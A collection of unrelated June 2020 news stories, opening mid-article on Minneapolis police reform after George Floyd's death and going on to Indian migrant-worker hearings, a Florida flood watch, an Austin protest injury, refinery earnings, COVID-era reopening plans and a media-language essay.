The interim agreement also requires officers to intervene if they see another officer using any unauthorized use of force  including chokeholds or neck restraints  or be subject to the same discipline as if they had engaged in the violation themselves.

Minnesota Governor Tim Walz announced this week that the Minnesota Human Rights Department is investigating whether the Minneapolis Police Department has a pattern of discriminating against people of color. As calls for police reform resound across the nation in the wake of Floyd's death, officials in Minnesota have promised the state investigation will lay the groundwork for meaningful change. While advocates hail the move to "open the books" on the department and pinpoint needed policy and practice changes, they say addressing racism within the ranks will require intense scrutiny of the department's culture.

Attorneys for Floyd's family this week said the department is as much to blame for Floyd's death as Derek Chauvin, the white Minneapolis officer seen pressing his knee into Floyd's neck for more than eight minutes as the handcuffed black man begged for air, and the three other officers who didn't intervene. Chauvin has been charged with second-degree murder, and the three other officers are now charged as accomplices.

"The Minneapolis police department had opportunities  not only on the day this happened, but for years and years, to eliminate the institutional bias and racism against people of color," attorney Antonio Romanucci said on Tuesday. Romanucci spoke as the family announced the results of an independent autopsy that showed Floyd was asphyxiated by sustained pressure by the officers' knees on his neck and back, restricting his breathing and blood to his brain.

Story continues

"What this really was was the weight of the Minneapolis police department on George's neck," Romanucci said.

An autopsy by the Hennepin County medical examiner found Floyd suffered cardiac arrest while being restrained. Though the autopsies differed on details of cause of death, both ruled the manner of death a homicide.

"It was wrong  period"

The department's policy allowing neck restraints and chokeholds under certain circumstances has drawn increasing scrutiny in the wake of Floyd's death, and calls are growing to ban chokeholds in jurisdictions nationwide. The Minneapolis policy describes neck restraints as a "non deadly force option," defining it as "compressing one or both sides of a person's neck with an arm or leg, without applying direct pressure to the trachea or airway (front of the neck)." Its use is allowed with "intent to control" a person or with the intent to render them unconscious by "applying adequate pressure."

National Guard Called In As Protests And Unrest Erupt Across Los Angeles Causing Widespread Damage

A protester holds a sign with an image of George Floyd during a peaceful demonstration over Floyd's death outside LAPD headquarters on June 2, 2020, in Los Angeles, California. Getty

The department also allowed the use of chokeholds, defined as "applying direct pressure on a person's trachea or airway (front of the neck), blocking or obstructing the airway"  as a deadly force option. The interim agreement will "prohibit the use of all neck restraints or chokeholds for any reason," and requires the policy to be amended in 10 days.

Policing experts say neck restraints, chest pressure and chokeholds can all restrict a person's breathing and blood flow to the brain. That can result in death, such as in Floyd's case and in the 2014 police killing of Eric Garner in New York City, where the NYPD had already banned chokeholds. Both Garner and Floyd could be seen on disturbing videos pleading with officers that they couldn't breathe, and "I can't breathe" has become a rallying cry of protesters across the country who are calling for an end to police brutality against black men and women.

Romanucci, the Floyd family attorney, faulted the Minneapolis department for not properly training officers about the dangers of neck restraints. Minneapolis' policy allows the neck restraint only against someone who is actively resisting. Floyd, lying prone in handcuffs, was not.

Chauvin's actions have drawn widespread outrage and condemnation from advocates and the law enforcement community alike. The Minnesota Board of Peace Officer Standards and Training, the licensing and regulatory board for peace officers in the state, said the video was disturbing and didn't reflect their training. And Minneapolis Police Chief Medaria Arradondo told a CNN reporter he fired the four officers because he considered their actions a "violation of humanity."

"It violates the oath of the majority of men and women who put this uniform on  it absolutely goes against it, it's contrary to what we believe in," said Arradondo, who is the department's first black police chief. "What occurred, to me, it's an absolute truth that it was wrong  period."

Departments across the country "will absolutely be re-examining their policies on this and their training to make it at the very least, at last resort," said David Harris, a University of Pittsburgh law professor who specializes in police conduct.

Some departments who classify neck restraints as deadly force or who ban the practice altogether have announced in recent days they will re-train their officers. One of those departments, Chicago, is also mandating that officers watch the disturbing video of Floyd's death.

"What took place in Minnesota this week is absolutely reprehensible and tarnishes the badge nationwide, including here in Chicago," incoming police chief David Brown said in a statement posted to Twitter. "I want to make it clear that this behavior is not acceptable in Chicago, and will not be tolerated under my command, and quite frankly has no place in law enforcement anywhere."

"This is something that will result in court action"

The move to ban chokeholds is only one element of reform needed at the department, advocates say. The community has been pushing for reforms for years, particularly after the 2015 killing of a 24-year-old black man, Jamar Clark, by two white officers. The incident strained police relations with the African American community, and despite days of protests, the officers were never charged. The next year, the department faced international scrutiny and questions about training when a black officer fired a shot from inside his cruiser and killed Justine Damond, a white Australian woman who had called police to report a possible rape. The Then-chief Janee Harteau stepped down amid the fallout. The officer, Mohamed Noor, was convicted in 2019 of third-degree murder and manslaughter.

officers-hennepin-county-george-floyd.jpg

From left to right: Minneapolis police officers Tou Thao, Derek Chauvin, J Alexander Kueng and Thomas Lane are seen in arrest photos provided by the Hennepin County Jail, June 3, 2020. All four were charged in relation to the killing of George Floyd during an arrest. Hennepin County Jail

The same year, a state working group convened to address police killings, and in February laid out a series of recommendations for reform. They included de-escalation training and the creation of an independent state prosecutorial unit to investigate officer-involved shootings and deadly uses of force  something an association of local prosecutors now says it will push lawmakers to enact. On Tuesday, Minnesota Human Rights Commissioner Rebecca Lucero said the human rights investigation will result in a formal agreement between the state and the department known as a consent decree that will be enforced by a court.

"This is not a report. This is something that will result in court action, and require change," Lucero said.

The department had already adopted a "duty to intervene" policy in 2016 in the wake of Clark's death, requiring officers to step in if another officer is using unauthorized force, and a requirement to uphold the sanctity of life. In Floyd's case, outrage that the officers disregarded both professional and moral obligations to intervene have led to "near universal call for reform," said R.T. Rybak, a former Minneapolis mayor.

"There's enormous outrage among those in the community that those officers would stand by and not stop a murder," Rybak said. "Their job is to prevent murders."

The interim agreement will add potential disciplinary action to the "duty to intervene" policy, and will also require crowd control weapons to be authorized by the chief, disciplinary decisions to be made within 45 days and put in place civilian audits of body camera footage.

"I believe this is the moment"

Structural change at the department will take time, but advocates and officials agree some near-term changes can have an impact. Justin Terrell, executive director of the governmental advisory group Council for Minnesotans of African Heritage, said he would like to see an "integrity standard" enacted that would ensure officers who violate core values  such as sanctity of life and duty to intervene  are immediately terminated. Terrell also suggested ramping up the authority of the civilian board that reviews police misconduct complaints to include subpoena power and trained investigators to clear a backlog of cases. According to city data, police misconduct claims hit a record high in 2018.

Minneapolis PD's Medaria Arradondo speaks during a security news conference in advance of Super Bowl LII January 31, 2018, in Minneapolis.

Minneapolis police chief Medaria Arradondo AP

Terrell and others have called for broader representation of people of color and civilians on the Minnesota Board of Peace Officer Standards and Training, and to enhance the board's ability to identify cops with patterns of bad behavior and their authority to revoke their law licenses. The proposal would require passage by the state legislature, and is a part of a package of police reform bills announced this week by the state's People of Color and Indigenous Caucus.

But what will ultimately lead to change in Minneapolis, Terrell said, is not policies, but the officers' practices  something that is defined by the department's culture, he said.

"The only way to change culture is to take a hardcore look at yourself and lay everything bare  and I think that's why the [human rights] investigation is so important," Terrell said.

Arradondo told the Minneapolis Star Tribune in 2018 that the force was about 80 percent white and male, and Terrell says they largely live outside the city of Minneapolis, whose residents are about 63% white, 18% black and 10% Hispanic. The Twin Cities area suffers from some of the worst racial inequality in the nation in poverty, unemployment and education, an NPR investigation found. And a New York Times analysis this week found that Minneapolis police use force against black people at seven times the rate of whites.

Rybak, who led the city between 2002-2012 and is now the president of the Minneapolis Foundation, said he worked in his decade as mayor with four police chiefs on efforts to repair the fractured relationship with the community using efforts like community policing. But he said a small number of officers within the police department "create an us vs. them culture that rapidly deteriorates into overt racism."

Rybak and other community leaders have blamed Minneapolis Police Federation president Lieutenant Bob Kroll for stoking a toxic culture within the department and resisting reform. Calls are mounting for Kroll to resign after he sent a letter to union members in which he said the charged officers were terminated without due process and referred to Floyd as a "violent criminal" in referencing his previous criminal history. The letter also blasted state and local response to the protests, calling them a "terrorist movement," and accused local leaders of scapegoating the department. It did not discuss Floyd's death.

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Lieutenant Bob Kroll CBS Minnesota

"For a man who complains so frequently about a lack of community trust and support for the police department, Bob Kroll remains shockingly indifferent to his role in undermining that trust and support," Minneapolis mayor Jacob Frey tweeted in response.

Harteau, the former chief, called Kroll "a disgrace to the badge" and called on him to resign. Speaking with CBS News' Jamie Yuccas, Harteau said she believes systemic racism is an issue in all police departments, but that problems in the Minneapolis police department start with Kroll.

Kroll could not be reached for comment.

Kroll's response stands in stark contrast to that of Arradondo, who has offered heartfelt apologies to Floyd's family, taking off his hat as he addressed them during a TV interview, and taking a knee as a hearse carrying Floyd's body passed by on the way to his memorial service Thursday.

Many in the community view Arradondo as a progressive chief with the ability to lead the department through the reforms ahead, Rybak said. Arradondo, who grew up in Minneapolis, was himself part of a group of officers that sued the department as an officer in 2007, alleging racist practices in the department. Arradondo said this week in a statement that the human rights investigation will help the department "take an honest examination at systemic barriers that have prevented us from reaching our greatest potential for those we serve."

"The sworn and civilian members of the Minneapolis Police Department remain steadfast in recognizing that service is honorable, and it requires building genuine and authentic relationships with all communities," Arradondo said. "The authority given to us by the community comes with great responsibility and obligation to always have their best interest at heart."

Rybak said he's hopeful that change can happen under Arrandondo's leadership.

"I believe this is the moment," Rybak said. "I believe there has been a sea change."

Editor's note: The Minneapolis Police Federation president, Lieutenant Bob Kroll, is married to Liz Collin, a reporter for CBS station WCCO-TV. Collin has not covered the department for more than two years.

Trump wanted to deploy 10,000 troops to D.C. to deal with protests

Massive peaceful protests fill the streets of Washington, D.C.

Nature: Hummingbird nest
New Delhi, June 5 : The Supreme Court on Friday asked the state governments how they will ensure employment and other relief measures for migrants who have returned to native homes from their workplaces elsewhere in the country.

A bench of Justices Ashok Bhushan, Sanjay Kishan Kaul and M.R. Shah observed that state governments should be asked to complete the process of transportation of all migrants back to their home state within the period of 15 days. "All states will be asked to bring on record, how they will provide employment and other kinds of relief to the migrant workers who have returned home....registration of all migrants of all migrants should be made compulsory," it said.

The bench also noted that it could ask the state governments to furnish complete data on migrant workers, from which city they returned, and also what kind of employment they get in their home state.

It said it will provide pass directions for foolproof registration of migrant workers, who have returned.

The apex court is likely to pronounce the order on the matter on Tuesday.

"You (state governments) have to make a scheme for their employment, counselling should take place in every block/district," observed the bench.

Senior advocate Kapil Sibal, representing an NGO, said most of the workers are illiterate, and it will be easier to get the data if the registration is decentralised and migrants are allowed to register in person.

The slew of observations was made by the apex court after hearing many senior counsel, representing various state governments, apprised it on the development made by the particular state to address the migrant woes. The apex court had taken suo moto cognizance on the problems and difficulties faced by the migrant workers' and sought replies from the Centre and state governments.

Few senior counsel cited deaths of migrant workers on the train, and sought reply from Centre's counsel. Solicitor General Tushar Mehta, representing the Centre, submitted that no deaths have taken place due to non-supply of water, food or medicine. "All deaths were due to pre-existing illness," he said, refuting negligence by railways and other authorities concerned.

The Centre also requested the top court not to issue new norms on quarantine for asymptomatic persons. "Let the present system continue, and let us focus on getting all migrants back," Mehta contended.

Senior advocate Jaideep Gupta, representing MP Mahua Moitra, sought to recall her petition raising the plight of the migrant workers'. To this, Justice Bhushan said: "She is a respectable MP, if allowed this, then this will become a chaotic situation..." Senior advocate Indira Jaising, representing an intervener, told the court that the registration procedure of migrants is not simple, as it is in English. She insisted that there should be nothing required except for basic information for registration - name, Aadhaar card number etc. The bench reiterated that all state governments must make their own arrangements, and emphasised all transportation of migrant workers should be completed within 15 days. "Each village should know how many people have come back," said Justice Bhushan.

Senior advocate Abhishek Singhvi, assisting the court on the matter, said the absence of data on the total number of migrant labourers aggravates these calamities by leaving the administering agencies underprepared to deal with the challenges. "Data will undoubtedly assist the government in arriving at an effective methodology for addressing preparations made vis-a-vis transportation, food, medicines and other logistical issues affecting the migrant labourers," he said.
TAMPA BAY, FL  As if widespread protests against police brutality and the coronavirus pandemic weren't enough to deal with, hurricane season arrived this week and, with it, a tropical depression hovering in the Gulf of Mexico.

On Thursday, the National Weather Service in Ruskin issued a flood watch for Hillsborough, Manatee, Pasco, Sarasota and Pinellas County through Saturday afternoon.

See related story: Cristobal Downgraded; May Still Produce Tropical Storm Winds

The NWS said residents should prepare for heavy rain and the threat of localized flooding in low-lying and poor drainage areas as well as pooling of water on roadways.

Tropical moisture will continue throughout west-central and southwest Florida through the coming week. This moisture combined with an upper-level disturbance over the region will bring widespread showers and isolated thunderstorms with the potential for some locally heavy rainfall.

The NWS is reminding residents to not enter or cross flowing water or water of unknown depth. Cars can easily be swept away and river banks and culverts can become unstable and unsafe.

"At this time, Tropical Depression Cristobal does not pose a threat to Florida but we can expect locally heavy rains," said Hillsborough County Emergency Management Director Timothy Dudley Jr. "We'll be monitoring flooding as this storm continues to move throughout the weekend."

Hillsborough County residents can click here for information on:

Preparing a disaster supply kit

Downloading the county's Disaster Planning Guide

Signing up for the HCFL Alert

Finding your evacuation zone

Registering for a special needs shelter

Protecting your property from flooding

Evacuation zones

This article originally appeared on the Tampa Patch
A college student from San Antonio remains in critical condition after suffering head injuries during a protest outside the Austin Police Departments headquarters this week.

Justin Elliott Howell, 20, a Texas State University student, suffered a fractured skull and brain damage, according to a column written by his brother, Joshua Howell, which was published in the Battalion, Texas A&M Universitys newspaper.

Justin Howell was filming the protest with his phone when he was hurt shortly after 11 p.m. Sunday.

He is a 2018 graduate of Communication Arts High School in San Antonio, Northside Independent School District confirmed.

The incident occurred as Austin police tried to use force on a protester who was standing next to Howell and throwing objects at the officers standing guard outside police headquarters, Chief Brian Manley told reporters.

An officer fired a beanbag round at that protester, but apparently struck Howell in the head instead, said Manley, who reviewed video footage of the confrontation.

The video showed Howell appeared to hit his head when he fell to the ground, Manley said.

A group of protesters picked up the student and carried him under the Eighth Street bridge across the street from police headquarters.

On ExpressNews.com: Demonstrators call on San Antonio City Council to defund police amid George Floyd protests

I believe they realized the severity of the injuries and they were talking to officers about him needing medical help, Manley said. They were given direction to bring him to the officers.  Its reported that they were fired upon with less lethal-munitions as they brought this victim toward the officers to get him medical help.

Howell was taken through police headquarters, put in an ambulance and taken to a hospital, the chief said.

The protester that the officer was aiming at had thrown what appeared to be a water bottle at police, then spun in a full circle to gain velocity before launching a backpack at them, Manley said. The officer fired the beanbag in response.

Manley said it was one of many acts of violence carried out with objects being thrown at officers that were either protecting headquarters or in operations around the city.

Manley, who became tearful during his statement, said he is crushed by the incident and hopes to speak with Howells family. He asked that anyone who recorded or captured video footage of the incident to contact the Austin Police Department.

The officers actions remain under investigation. Austin police declined to release any written reports on the incident Thursday.

Our focus was on protecting peaceful, free speech and giving people the space to come out and express their concerns, Manley said. What we saw was others joined that group for means outside of that peaceful protest.

We are praying for this young man and his family, Manley said. Were hoping that his condition improves quickly.

On ExpressNews.com: San Antonio police chief says officers may use tear gas, rubber bullets if protesters start throwing objects at officers

Howells family has declined to disclose where he is hospitalized. In the Battalion column describing his brothers injuries, Joshua Howell, the opinion editor of the newspaper, condemned Manley's response.

We arent interested in your prayers, Joshua Howell wrote. We are interested in you appropriately using the responsibilities with which the people of Austin have entrusted you.

For the family, this is a story about the real damage that less lethal munitions can do, he said Friday morning.

People take a lot of comfort in the phrase less lethal munitions, but anything thats fired out of a shotgun at 90 miles per hour is going to be lethal. And my brothers condition shows that, Howell said.

Texas State University President Denise Trauth said it was hard to find words to share about Justin Howells injuries.

What was already a heartbreaking situation has hit painfully close to home, Trauth said in a statement. Black Lives Matter. It is not debatable at Texas State. Justin Howells life matters. Black lives matter in our classrooms, on our campuses and in the streets during tumultuous protests. They matter every moment of every day, no exceptions, no debate.

A GoFundMe page established on behalf of the Howell family had raised almost $110,000 from nearly 4,500 donors Friday morning, easily surpassing its $65,000 goal.

mmendoza@mysa.com
MUMBAI: The Maha Vikas Aghadi government in Maharashtra led by Chief Minister Uddhav Thackeray has warned state government employees of strict action if they avoid coming to office on the pretext of contracting the coronavirus infection.

In a new order, the state government employees have been instructed to reach their offices and register their attendance. It will now be mandatory for the state government employees to report to their offices for at least once in a week, failing which they will have to face salary cut.

The notification issued by Additional Chief Secretary (Finance) Manoj Saunik states that all government departments should prepare a roaster of officers and employees affiliated to them.

"All employees, except those on sanctioned leave or medical leave, will need to be in office for one day in a week compulsorily," the order read.

Disciplinary action will be taken by department heads against those who leave the office without permission during the lockdown, it stated.

If an employee remains absent during the assigned day, he/she will lose pay for an entire week, it warned. However, in case an employee has to be present in the office for more than a day every week, his salary would be cut only on the days he remained absent, the notification said.

The new order will come into effect from June 8. It may be noted that the coronavirus-triggered lockdown is in force till June 30. The notification was issued after it came to light that employees were not reporting to work during the lockdown and some had even left for their hometowns.

At present, government offices in Maharashtra are functioning with 5 per cent staff or 10 persons, whichever is more.

However, the state government is now easing restrictions imposed due to the coronavirus and opening the government offices in a phased manner.

Maharashtra continues to be the worst COVID-19 affected state in India with the maximum number of deaths due to the deadly virus and the highest number of coronavirus infection cases in the country.
To build up a bridge for Chinese buyers to exhibitors of both domestic and abroad, Canton Fair International Pavilion held this conference and will expand the scope of buyer invitation through the domestic trade associations, promote highlights of the event online, and spread the guidelines for visitors, aiming to provide favorable conditions for exhibitors to win more orders.

In addition to the online promotion and communication conference, it will also organize a series of sourcing briefings during the event. To equip exhibitors with the knowledge and tools to successfully enter the Chinese consumer market, it will invite China's largest e-Commerce platforms  such as JD.com, Lifease, and Suning.com to shed light on the latest industry trends and areas of demand.

The First-ever Online Session with More Possibilities and Opportunities

This session Canton Fair will welcome 25,000 exhibitors from local and abroad including international companies from 28 countries and regions, which will open up more opportunities for highly personalized, real-time marketing and negotiations, promoting barrier-free global selling and buying online. Instead of exhibiting in different phases sequentially, all the international products will be categorized according to the 50 product categories, the same as Chinese mainland exhibitors, which will be displayed online simultaneously.

The power of IT brings new vigor and vitality into this Chinese traditional exhibition with over 63-year history. The new-developed digital platform will be ready for a one-stop trading experience covering online promotion, business matchmaking and negotiation to buyers and exhibitors. Online Exhibitor Center enables exhibitors of the International Pavilion to upload their videos to their own live broadcast rooms, and promote their products to a large number of buyers in different regions and time zones. It also allows exhibitors to arrange a virtual booth for facilitating communication with buyers through a range of instant messaging tools and video presentation solutions.

The Project Leader of Canton Fair International Pavilion noted that they hope to empower more international high-quality brands, products, and services, and support their entry into the Chinese market through the launch of this first-ever online session.

About Canton Fair International Pavilion

Established by Canton Fair in 2007, the International Pavilion has consistently attracted trade promotion agencies and professional associations to participate in the exhibition. After years of development, the International Pavilion has worked as a leading platform for growing international trade.

SOURCE Canton Fair International Pavilion

Related Links

http://cantonfair.org.cn


By MSU Public Relations Jun. 05, 2020 | 06:37 AM | MURRAY

Murray State University has announced its Racer Restart plan as the institution continues to move forward with a phased process for a safe and effective restart in preparation for the fall 2020 semester.

The Fall 2020 Racer Restart Committee, as well as seven subcommittees comprised of various areas of the institution, used a shared-governance approach to address all areas in adherence to state and federal guidelines, including the development of a set of guiding principles to assist the University.

The Racer Restart plan can be viewed in its entirety at murraystate.edu/racerrestart; the web page will continue to keep the campus and broader community informed with updates, health and safety-related resources as well as important information.

Several items of note within the Racer Restart plan include the following:

The implementation of a Racer Safe and Healthy initiative, with guidelines for University students, faculty and staff, as well as visitors to Murray State, in adherence with state and federal guidance

Adjustments to the fall 2020 academic calendar, including classes beginning on Aug. 17 and a modified finals week schedule occurring Nov. 18-20, with commencement taking place Nov. 21, pending consent of state health officials

A combination of in-person, hybrid (a mixture of both in-person and online delivery) and online instruction will take place while maintaining a new normal, traditional, on-campus experience

A traditional campus life experience for students while making necessary modifications in adherence with state and federal guidance

As the COVID-19 situation continues to evolve with new information and data, Murray State's Racer Restart initiative is an evolving plan that can be altered at any time with updated information from state, local and federal authorities. The University will also develop contingency plans for potential COVID-19 scenarios as new data and information arises.

"I would like to thank everyone who has been involved in creating our Racer Restart plan," Murray State President Dr. Bob Jackson said. "Nearly 200 faculty, staff, students, healthcare professionals and others have assisted and collaborated throughout the development of this plan as we take a proactive, careful and thoughtful approach in preparation for a successful fall semester. In the midst of an ever-changing situation, our guiding principle will continue to be the health, safety and well-being of our students, faculty, staff and broader community."
Over the past week, in news coverage of the nationwide protests against police brutality, breezy, anodyne words like deploy, disperse, and engage have served as a gloss on state-licensed aggression, papering over municipal forces and National Guardsmens frequently appalling crowd-control tactics. Conversely, protestersor riotersare said to have hurled or thrown or fired objects at police: bottles of water, rocks, whatever is close at hand. When the authorities retaliate, making happy use of the heavier tools they brought to play with (rubber bullets, explosive paint canisters, tear gas), they are treated to extenuating phrasing, merely returning fire or defending themselves, even though it has not always been the case that they had anything to defend against or were retaliating at all. In some cities it has been abundantly clear, from eyewitness cellphone videos if not from local outlets coverage, that the cops were the instigators; not for nothing did Slate headline an article Police Erupt in Violence Nationwide.

READ NEXT: Six months of life and death in America

But Slate aint everyone, and thus we wound up with a post early Wednesday morning on the website of KRMG, a Tulsa news-and-talk station, offering that local police had used tear gas and pepper balls to disperse crowds. Even in liberal Oakland, KCBS Radio began a May 30 dispatch: Amid protests, demonstrators blocked Interstate 880, set fires, and trashed much of the downtown area before police dispersed them with tear gas and rubber bullets. A chyron on CNN over the weekend read protesters launch objects as police release tear gas in minneapolis. And a recent New York Times tweet had it that, also in Minneapolis, a photographer was shot in the eye, while in DC protesters struck a journalist with his own microphone.

There is a linguistic war being waged within these formulations, with battle lines drawn across a couple of fronts. For starters, you have the issue of voice: When protesters perpetrated an act of violence, the Times, by dint of active construction, let you know precisely who had been targeted and who was to blame. In the case of the photographer, on the other hand, the passive voice obscured (as it always does) the party responsible for the act. Readers might well arrive at their own easy conclusionbut why accord this sort of rhetorical cover to the one side and not the other?

And then there is the matter of the words themselves, where the fault line extends back practically to time immemorial. English is a famously mongrel tongue, born of violence and bloodshed, invasion and conquest. Its modern form has come to comprisevery roughly speakingone-quarter words of older, Germanic origin and three-quarters Latin, French, Greek, or other. The Latinate loans that passed into English tend to be multisyllabic, with accented and unstressed beats, and fall weightless on the ear, mellifluously benign, prettily dispassionate. Our Saxonic alternatives, by contrast, hit like a gut-punch: stern, short, sharp, harsh.

Now, returning to those earlier examples, you can see how the cops are often afforded the gentler idiom, the protesters subjected to all the lexical Sturm und Drang. On the police side of the ledger we have deploy (from Old French), engage (Anglo-French), disperse (Latin), return (Anglo-French), defend, and sweet release (both Latin by way of Anglo-French). Crossing over to the protesters, weve got hurl (likely from Low German), throw (Old English, and akin to a word from Old High German), and fire (ditto); block (Middle Dutch originating from Old High German), set (Old English via Old High German), and trash (likely Scandinavian, Old Norse passing into Old English); and strike (bedfellows OE and OHG, once again).

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Why is this happening? I dont mean to suggest that American journalists are consciously electing for the gussied-up French or Latin options as a means of tamping down on police brutalityrather that theyre merely repeating, unthinkingly, whats been osmotically resorbed from years upon years worth of exposure to press-release English. Writers are incorrigible mimics, after all: we read a lot and sponge up and then rehash common collocations, (stale) turns of phrase, lumps of (lumpen) verbiage. Press releases traffic in smooth unobtrusive Latinate English, in passive voice; reporters inhale the releases, regurgitate them, and replicate literatim these public-relations-approved edge-sandings. (For more on the whys and wherefores of journalists overreliance on smoothed-over police-department PR argot, see my colleague Alexandria Neasons  Officials Say  which tells the story of how the police-furnished narrative of a white Chicago cops slaying of a twenty-five-year-old Black man became the version repeated ad nauseam in papers of record.) But when it comes to the protesters, lacking such cached memory of all that calculated diction, we revert to what are, in fact, better instincts: active voice, dynamic verbs, headlines that (to crib from an old New York Post ad on the subway) punch you in the eyeballs.

Thats the kind of treatment that ought to be extended to descriptions of what the police are doing, right now, in virtually every major American city. They are not releasing or deploying tear gas, nor utilizing (pure French, note) rubber bullets, to disperse protesters; they are teargassing protesters, shooting protesters (and journalists), forcing restive elements from the streets. If the overriding maxim in journalism is to amplify unheard voices, with the secondary precept being to tell it like it is, we are failing to live up to either promise even at the level of our most basic tool: the words we use.

ICYMI: Sen. Cottons op-ed was dishonest, not only reprehensible

Has America ever needed a media watchdog more than now? Help us by joining CJR today

Mike Laws is a freelance copy editor, for CJR among others, who pursues this sort of labor of love all over the greater New York area.
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A day after reporting heavy inventory losses and near-halving of refining margins in the March quarter, the second-largest oil retailer Bharat Petroleum has guided towards a tough first quarter given the prevailing market condition wherein margins are in deep red for both petrol and diesel.

Two-thirds of the current quarter has been a near-washout for all oil companies when sales and refining dived as the 10-week-old national lockdown confined people into their homes due to the deadly coronavirus pandemic.

BPCL on Wednesday reported Rs 1,819.6 crore net losses on heavy inventory losses, and lower gross refining margins (GRMs) which dived to a low USD 2.50 a barrel in the March quarter from USD 4.58 a barrel a year ago.

It had booked a net income of Rs 3,125 crore a year ago. This has crimped its annual net income to a low Rs 2,683 crore from Rs 7,132 crore in FY2019.

Though I don't see inventory losses in Q1 as we are not holding any excess stock of crude, on the margins front both for petrol and diesel, the entire Asian market is awash in the red and we aren't any different.

Petrol & Diesel Rates Petrol Rate in Mumbai Current Petrol Price Per Litre  View more Diesel Rate in Mumbai Current Petrol Price Per Litre  View more Show

Today the Singapore crack margin for petrol is minus USD 3.47 a barrel and diesel is down to a fourth at USD 4 a barrel. So this will be reflected in the gross refining margins this quarter, N Vijayagopal, the finance director, told PTI on Thursday without quantifying the GRM, which is what it makes from turning every barrel of crude into a finished product.

He was quick to add though that the quarter may see an overall improvement is GRM as diesel margins are around USD 8 a barrel now, up from under USD 4 in April-May, but way below the January level.

With Brent at USD 40 a barrel now, up from USD 16 in April, and also the supply cut coming into force, I see the GRMs improving and also don't see, any inventory losses this quarter, Vijayagopal said.

Explaining the reasons for the poor set of numbers in the March quarter, he said the numbers were impacted by the very high stock, one of the worst demand falls in recent decades and the massive fall in prices.

As a result, the company had to book around Rs 2,000 crore in marketing losses, Rs 1,200 crore in forex losses as the rupee sniffed at 78 to a dollar and extremely negative crack prices.

It can be noted that the pandemic lockdown in the US and resultant plunge in demand has seen crude trading in the negative for the first time fuel began to be traded on the Numex over a century ago, on April 20 when it plunged to a minus USD37.64 a barrel as traders and refiners did not have storage to take May delivery.

On the demand and refinery throughput levels, he said as of June 4, refineries were firing at 83 per cent which was a low 36 per cent in April and 55 per cent in May. Overall demand plunged 55 per cent in April which improved to 30 per cent in May.

Meanwhile, brokerage Emkay Global said the bottomline numbers were done in by inventory losses of Rs 2,570 crore but the core numbers are strong. Along with this, there was a Rs 1,080 crore of exceptional inventory loss due to the pandemic driven revaluation on the basis of replacement cost.

Though the reported GRM is USD 0.75 a barrel which led to the inventory loss, BPCL's core GRM stood at USD 6.5, due to a 122 per cent refinery utilization of the Mumbai refinery, higher distillate yields and price lag impact, the report said.

Blended marketing margin rose 22 per cent to Rs 6.1/kg, which is in line. Domestic sales declined 5 per cent with petrol/diesel down 0.5 and 8 per cent respectively. Gross debt rose 59 per cent sequentially to and 64 per cent annually to Rs 47,820 crore.

Refining declined 0.23 per cent sequentially to 8.39 mt. Revenue dipped 8 per cent to Rs 68,997.8 crore.
PARK CITY, UTAH - JANUARY 26: Lilly Wachowski attends the Planned Parenthood's Sex, Politics, Film, & TV Reception At Sundance on January 26, 2020 in Park City, Utah. (Photo by Dia Dipasupil/Getty Images)

Lilly Wachowski, the co-director of The Matrix trilogy alongside her sister Lana Wachowski, has opened up about walking away from Hollywood in recent years, admitting that she has lost interest in the creative process.

Between 1999 and 2015, Wachowski worked on all three Matrix films, the spin-off anthology films, V For Vendetta, Speed Racer, Ninja Assassin, Cloud Atlas, and Jupiter Ascending, as well as creating the TV series Sense8.

But Wachowksi told The Hollywood Reporter that she grew tired of the constant interference from studios and marketers. "I got in when film was at its peak, before boards and marketers found a way to wrangle movies.

Read More: Matrix Co-Creator Lilly Wachowski Slams Ivanka Trump, Elon Musk for Using Her Movie Reference

Eventually, all those people and institutions ended up in the room with you and specifically behind the typewriter and behind the lens and behind the Avid. It created a bit of tension for me personally. I got to this breaking point and I had to walk away.

Lily Wachowski also discusses the subtext of The Matrix trilogy. (Image by Warner Bros)

This was especially tough for Wachowski, as The Matrix was born out of a lot of anger and a lot of rage [towards] capitalism and corporatised structure and forms of oppression."

At the same time, Wachowski admits that she was also dealing with a "bubbling, seething rage within herself abut her own oppression as she was forcing herself to remain in the closet.

In 2016, Wachowski came out as a transgender woman, but she insists that a lot of the subtext of The Matrix franchise is about the spectrum of gender and experience of being trans. Something that many of its legion of fans regularly discuss with her.

Read More: Lana Wachowski has made sure The Matrix 4 delivers what the fans wants

"Now that I'm out and a living example of someone who can grow old being a trans woman, [trans people] can see those films through the lens of my transness and their transness.

They're able to go, 'Oh my God, these films were such an important part of my coming out and my own journey.' I'm extraordinarily grateful that I could offer that to people."
TORRINGTON  As Gov. Ned Lamont continues to ease COVID-19 restrictions and reopen the states economy, Torrington is working with various areas of the business community to help them through the regulations.

The city this week provided online forums for manufacturing companies and office workers. In May, it held a similar forum for restaurants and hair salons, in preparation for the phase 1 reopening May 20, followed by another meeting with church leaders. The forums are intended to answer questions and address concerns, while reminding these groups whats expected regarding safety and compliance with recommendations from the state.

Economic Development Director Rista Malanca and Mayor Elinor Carbone led the forums, along with Torrington Fire Chief Peter Towey, who also is the citys emergency management director, and Torrington Area Health District Deputy Director Tom Stansfield.

The forum was sparsely attended, but Malanca received a number of written questions from the manufacturing community, asking what was expected.

Weve heard concerns about bringing employees back to work, Malanca said, adding that if workers were having trouble finding resources, including day care  those facilities still are closed  a local team could help.

We have a community recovery team set up, and at Brooker Memorial (child care), theyre responding to the day care community, so people can get back to work, she said. If thats a problem youre facing, please email me.

Companies asked about social distancing, the necessity to wear masks in the workplace, and state guidelines regarding disinfecting workplace surfaces.

For now, the sector rules in place still call for six feet social distancing, and indoors, people should be wearing masks, Stansfield said. Thats across the board.

Stansfield warned listeners that the states recommendations and reopening dates are constantly changing. Last week while we were meeting with churches, by the time we were done, the guidelines had changed already, he said.

Lamont on Friday moved the phase two reopening date from June 20 to June 17.

Phase 2 also includes other personal services such as nail salons and tattoo shops; formal events such as weddings; hotels and motels; outdoor amusement parks; libraries; pools and social clubs; and museums and aquariums. Restaurants opened for outdoor dining on May 20. Hair salons were allowed to reopen June 1. All businesses and activities, however, will continue to have strict guidelines for social distancing including limits on the numbers of people allowed.

During Friday mornings online forum, Malanca asked when mask requirements would be lifted.

As the weather gets warmer, masks are more uncomfortable, Malanca said. How can manufacturers enforce them being worn? People also want to know when the guidelines are being lifted.

Stansfield said there was no official enforcement guidelines in place. Its really up to them, he said. I dont think mask requirements are going to be waning after June 20. I think its going to be on a later date ... but thats from the outside, looking in.

The health director noted that if employees are in their own private space, such as their own office or a cubicle, masks arent needed, but if they are in a common area, masks should be used.

